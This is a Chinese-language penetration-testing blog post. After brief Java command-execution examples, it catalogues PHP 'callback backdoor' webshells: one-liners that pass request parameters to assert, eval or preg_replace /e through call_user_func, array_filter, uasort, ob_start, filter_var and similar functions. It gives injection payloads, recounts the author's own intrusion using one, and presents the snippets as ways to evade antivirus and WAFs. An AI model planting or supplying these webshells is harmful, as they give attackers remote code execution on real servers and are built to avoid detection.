目录
[preg_replace 函数](#preg_replace 函数)
[preg_replace 简单的使用](#preg_replace 简单的使用)
[一个array_walk + preg_replace的回调后门](#一个array_walk + preg_replace的回调后门)
java中命令执行
在Java中执行命令,通常使用Runtime
类或者ProcessBuilder
类。这两个类都提供了在Java应用程序中执行外部命令的方法。
Runtime.exec()
一个运行例子
java
public class CommandExecutor {
public static void main(String[] args) {
try {
// 使用字符串参数(注意这可能会在 shell 中进行解析,可能会导致问题)
Process process = Runtime.getRuntime().exec("ls -l");
// 处理输出...
} catch (IOException e) {
e.printStackTrace();
}
}
}
ProcessBuilder
类
运行例子
java
public class CommandExecutor {
public static void main(String[] args) {
try {
ProcessBuilder processBuilder = new ProcessBuilder("ls", "-l");
// 你可以设置其他属性,如环境变量、工作目录等
// 执行命令
Process process = processBuilder.start();
// 获取命令输出(同上)
// 等待命令执行完毕(同上)
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
}
}
php中命令执行
在 PHP 中,执行外部命令通常是通过几个不同的函数来实现的,其中最常用的是 exec()
, shell_exec()
, system()
, passthru()
, 和 proc_open()
。这些函数都允许你从 PHP 脚本中调用和操作外部命令,但每个函数都有其特定的用途和行为。
wenshell中常用执行PHP的函数
在WebShell中,攻击者通常会使用PHP的各种函数来执行系统命令、读取文件、写入文件、执行数据库操作等。以下是一些在WebShell中常用的PHP函数:
exec()
: 执行外部程序,并返回最后一行输出。
assert():将内容当作代码执行
webshell命令执行时注意事项
进行命令执行需要考虑webshell绕过,如果不考虑的话你的木马就可能会被杀掉
php回调后门
最基础的回调后门
这里的后门都已经很老了,会被杀毒软件杀掉。比较新的PHP版本中,assert传参是不可以动态获取的方式来传递了
call_user_func
assert直接作为回调函数,然后$_REQUEST['pass']
作为assert的参数调用
在 PHP 中,$_REQUEST
是一个超全局变量,它包含了通过 GET、POST 和 COOKIE 方法传递的参数。
php
call_user_func('assert',$_REQUEST['pass'])
call_user_func_array
php
call_user_func_array('assert', $_REQUEST['pass']);
数组操作造成的单参数回调后门
array_filter()
array_map也有同样功效
array_filter()
是 PHP 中的一个内置函数,用于使用指定的回调函数过滤数组中的元素。该函数遍历数组中的每个值,并将其传递给用户定义的回调函数。如果回调函数返回 true
,则该元素会包含在结果数组中;如果返回 false
,则该元素会被排除。
php
// 假设有一个不安全的函数,它接受一个用户提供的回调函数
function unsafe_filter_array($array, $callback) {
return array_filter($array, $callback);
}
// 恶意用户可能提供一个恶意的回调函数
$malicious_callback = create_function('$value', 'if ($value == "secret") { eval($_POST["cmd"]); } return true;');
// 假设我们有一个包含敏感数据的数组
$sensitive_data = array('normal' => 'This is normal data', 'secret' => 'This is secret data!');
// 恶意用户调用不安全的函数,并传递恶意回调函数
$filtered_data = unsafe_filter_array($sensitive_data, $malicious_callback);
// 当 'secret' 键的值被检查时,会执行 $_POST["cmd"] 中的 PHP 代码
// 这是一个明显的安全漏洞,因为它允许攻击者执行任意的 PHP 代码
php
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));
双参数回调后门
现在这个会回调后门估计也不行了
php 5.4.8+后的版本,assert函数由一个参数,增加了一个可选参数descrition:
这就增加(改变)了一个很好的"执行代码"的方法assert,这个函数可以有一个参数,也可以有两个参数。那么以前回调后门中有两个参数的回调函数,现在就可以使用了。
uasort()
php
<?php
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));
uksort()
php
<?php
$e = $_REQUEST['e'];
$arr = array('test' => 1, $_REQUEST['pass'] => 2);
uksort($arr, $e);
uasort()和uksort()面向对象的方法
php
<?php
// way 0
$arr = new ArrayObject(array('test', $_REQUEST['pass']));
$arr->uasort('assert');
// way 1
$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));
$arr->uksort('assert');
首先创建了一个 ArrayObject
的实例,并传递了一个包含两个元素的数组给它:'test'
和 $_REQUEST['pass']
。$arr->uasort('assert');
这里使用 uasort()
方法对 ArrayObject
的内部数组进行排序。也就是使用assert执行php代码
array_reduce()
php
<?php
$e = $_REQUEST['e'];
$arr = array(1);
array_reduce($arr, $e, $_POST['pass']);
array_udiff()
php
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass']);
$arr2 = array(1);
array_udiff($arr, $arr2, $e);
三参数回调函数
preg_replace
函数
preg_replace
函数通常用于执行正则表达式的搜索和替换操作,然而,在 PHP 的旧版本中(,preg_replace
函数有一个 /e
修饰符,它允许在替换字符串中执行 PHP 代码。
preg_replace
简单的使用
php
$pattern = '/world/';
$replacement = 'PHP';
$subject = 'Hello, world!';
$result = preg_replace($pattern, $replacement, $subject);
echo $result; // 输出: Hello, PHP!
php代码的插入在$subject上,然后每次匹配成功后会在replacement中执行
一个array_walk + preg_replace的回调后门
这个函数也可以用array_walk_recursive
php
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');
注入payload
html
?e=preg_replace&pass=phpinfo();
执行的结果与下列代码相同
php
preg_replace('|.*|e',"",phpinfo())
曾经有一次渗透,我用dirmap扫描了他网站的一个根目录,发现了他有一个源码的打包,我拿下来以后,我发现他对正则表达式写了一个pre_replace的值,正好符合这个回调后门,然后实施了入侵。
另外一个函数mb_ereg_replace
php
<?php
mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');
e就相当与preg_replace中的|e选项
注如语句
php
?pass=passinfo()
另另外一个函数preg_filter
与上面同理
php
<?php
preg_filter('|.*|e', $_REQUEST['pass'], '');
无回显的回调后门
ob_start
ob_start()
函数用于启动输出缓冲。默认情况下,它不接受任何参数,这意味着所有的输出(如 echo
、print
等)都会被捕获到内部缓冲区,直到你调用 ob_end_flush()
或类似的函数来发送或清理缓冲区。但是,当你给 ob_start()
传递一个回调函数(如 'assert'
)时,这意味着每次缓冲区的内容被刷新或清理时,都会将该内容传递给该回调函数作为参数并执行。
下列代码就是一个无回显的一个调用,但是由于是没有回显的所以,我们可以用来进行一些命令执行的代码,比如说创建一个文件什么的
php
<?php
ob_start('assert');
echo $_REQUEST['pass'];
ob_end_flush();
#这行代码将结束输出缓冲,并将缓冲区的内容发送到浏览
#器(或任何接收输出的地方)。由于我们在开始时使用了
#'assert' 作为回调函数,因此这里会尝试将
#$_REQUEST['pass']; 作为 PHP 代码执行。
另外来几个单参数后门
register_shutdown_function
php
<?php
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);
register_tick_function
php
<?php
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['pass']);
filter_var
php
<?php
filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));
这是filter_var的利用,php里用这个函数来过滤数组,只要指定过滤方法为回调(FILTER_CALLBACK),且option为assert即可
filter_var_array
php
filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));
这是filter_var_array的利用,php里用这个函数来过滤数组,只要指定过滤方法为回调(FILTER_CALLBACK),且option为assert即可
说这个回调后门是为了了解在命令执行中如何绕过常见的waf